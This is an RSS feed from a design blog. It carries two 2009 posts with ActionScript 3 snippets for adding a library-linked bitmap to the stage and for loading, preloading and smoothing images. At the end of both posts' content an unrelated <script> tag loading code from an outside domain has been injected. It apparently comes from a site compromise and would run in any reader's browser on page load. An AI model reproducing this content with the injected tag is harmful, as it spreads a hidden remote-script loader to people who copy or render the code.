<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Bitmap</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/bitmap/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Adding image linked in Flash library</title>
		<link>http://blog.thornyrabbit.com/2009/04/adding-image-linked-in-flash-library/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/adding-image-linked-in-flash-library/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 16:06:13 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Bitmap]]></category>
		<category><![CDATA[Library]]></category>
		<category><![CDATA[Linkage]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=156</guid>
		<description><![CDATA[Add an image linked in the library to the stage with AS3 code - fixing the 2 parameters required error.]]></description>
			<content:encoded><![CDATA[<p><strong>When adding a linked bitmap, Flash will say it requires 2 parameters for the new object &#8211; unusual considering adding text, movie clips, sprites. Has a bit more procedure to accomplish this &#8211; as it is BitmapData and requires a size:</strong></p>
<p>var lozengeSprite:Sprite = new Sprite();</p>
<p><span> </span>addChild(lozengeSprite);</p>
<p><span> </span></p>
<p><span> </span>var lozenge_holder:Bitmap = new Bitmap();//linked images extend bitmapData class</p>
<p><span> </span>var lozenge_img:lozenge = new lozenge(0,0);//bitmapData must have size &#8211; any number will do as it will not resize &#8211; lozenge is &#8216;linkage&#8217; name in library</p>
<p><span> </span>lozenge_holder.bitmapData= lozenge_img;//new bitmap stores bitmap data &#8216;imported&#8217; from library</p>
<p><span> </span>lozengeSprite.addChild(lozenge_holder);</p>
<p><span> </span>lozengeSprite.addEventListener(MouseEvent.CLICK, checkCanClick);//bitmap is not clickable &#8211; must be in event assignable object (sprite, mc, et al)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/adding-image-linked-in-flash-library/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Loading images dynamically (and smoothing them).</title>
		<link>http://blog.thornyrabbit.com/2009/04/loading-images-dynamically-and-smoothing-them/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/loading-images-dynamically-and-smoothing-them/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 20:58:38 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Bitmap]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Listeners]]></category>
		<category><![CDATA[Load]]></category>
		<category><![CDATA[Loader]]></category>
		<category><![CDATA[Preloader]]></category>
		<category><![CDATA[Properties]]></category>
		<category><![CDATA[Smoothing]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=149</guid>
		<description><![CDATA[Setting up loader, listeners and preloader to load images; get the loaded content property information; 2 methods to smooth bitmaps that are loaded.]]></description>
			<content:encoded><![CDATA[<p><strong>Loading an image, setting up preloader and event listeners:</strong></p>
<p>loaderThumbs = new Loader();</p>
<p>var request:URLRequest = new URLRequest(url); //url would be string of path or array element</p>
<p>configureListeners(loaderThumbs.contentLoaderInfo);</p>
<p>loaderThumbs.load(request);</p>
<p>containerSprite.addChild(loaderThumbs);</p>
<p>//preloading listeners</p>
<p>private function configureListeners(dispatcher:IEventDispatcher):void {</p>
<p>dispatcher.addEventListener(Event.COMPLETE, completeHandler);</p>
<p>dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);</p>
<p>dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);</p>
<p>}//configureListeners</p>
<p><span> </span></p>
<p>//error loading</p>
<p>private function ioErrorHandler(event:IOErrorEvent):void {</p>
<p>//ignore but handle</p>
<p>}//ioErrorHandler</p>
<p>//preloader</p>
<p>private function progressHandler(event:ProgressEvent):void {</p>
<p>//trace(&#8220;progressHandler: bytesLoaded=&#8221; + event.bytesLoaded + &#8221; bytesTotal=&#8221; + event.bytesTotal);</p>
<p>//contentPreloader.percentage_mc.scaleX = event.bytesLoaded/event.bytesTotal;</p>
<p>}//progressHandler</p>
<p>//once it has loaded do something</p>
<p>private function completeHandler(event:Event):void {</p>
<p>//do whatever</p>
<p>}//completeHandler</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Get loaded content information:</strong></p>
<p>private function completeHandler(event:Event):void {</p>
<p>trace(myLoader.contentLoaderInfo.width);</p>
<p>trace(myLoader.contentLoaderInfo.height);</p>
<p>}//completeHandler</p>
<p>/*</p>
<p>Returns a LoaderInfo object corresponding to the object being loaded. LoaderInfo objects are shared between the Loader object and the loaded content object. The LoaderInfo object supplies loading progress information and statistics about the loaded file. </p>
<p>*/</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Draw bitmap data &#8211; set size and smoothing:</strong></p>
<p>var myBitmapData:BitmapData = new BitmapData(stage.stageWidth , stage.stageHeight);</p>
<p>myBitmapData.draw(thumbnailsContainer.getChildAt(tempCounter));</p>
<p>var bmp:Bitmap = new Bitmap(myBitmapData);</p>
<p>bmp.smoothing = true;</p>
<p>mainArea.addChild(bmp);</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Simple smoothing of loaded image:</strong></p>
<p>private function completeHandler(event:Event):void {<span> </span></p>
<p>var bit:Bitmap = event.target.content;</p>
<p>if(bit != null){</p>
<p>bit.smoothing = true;</p>
<p>}</p>
<p>}//completeHandler<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/loading-images-dynamically-and-smoothing-them/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
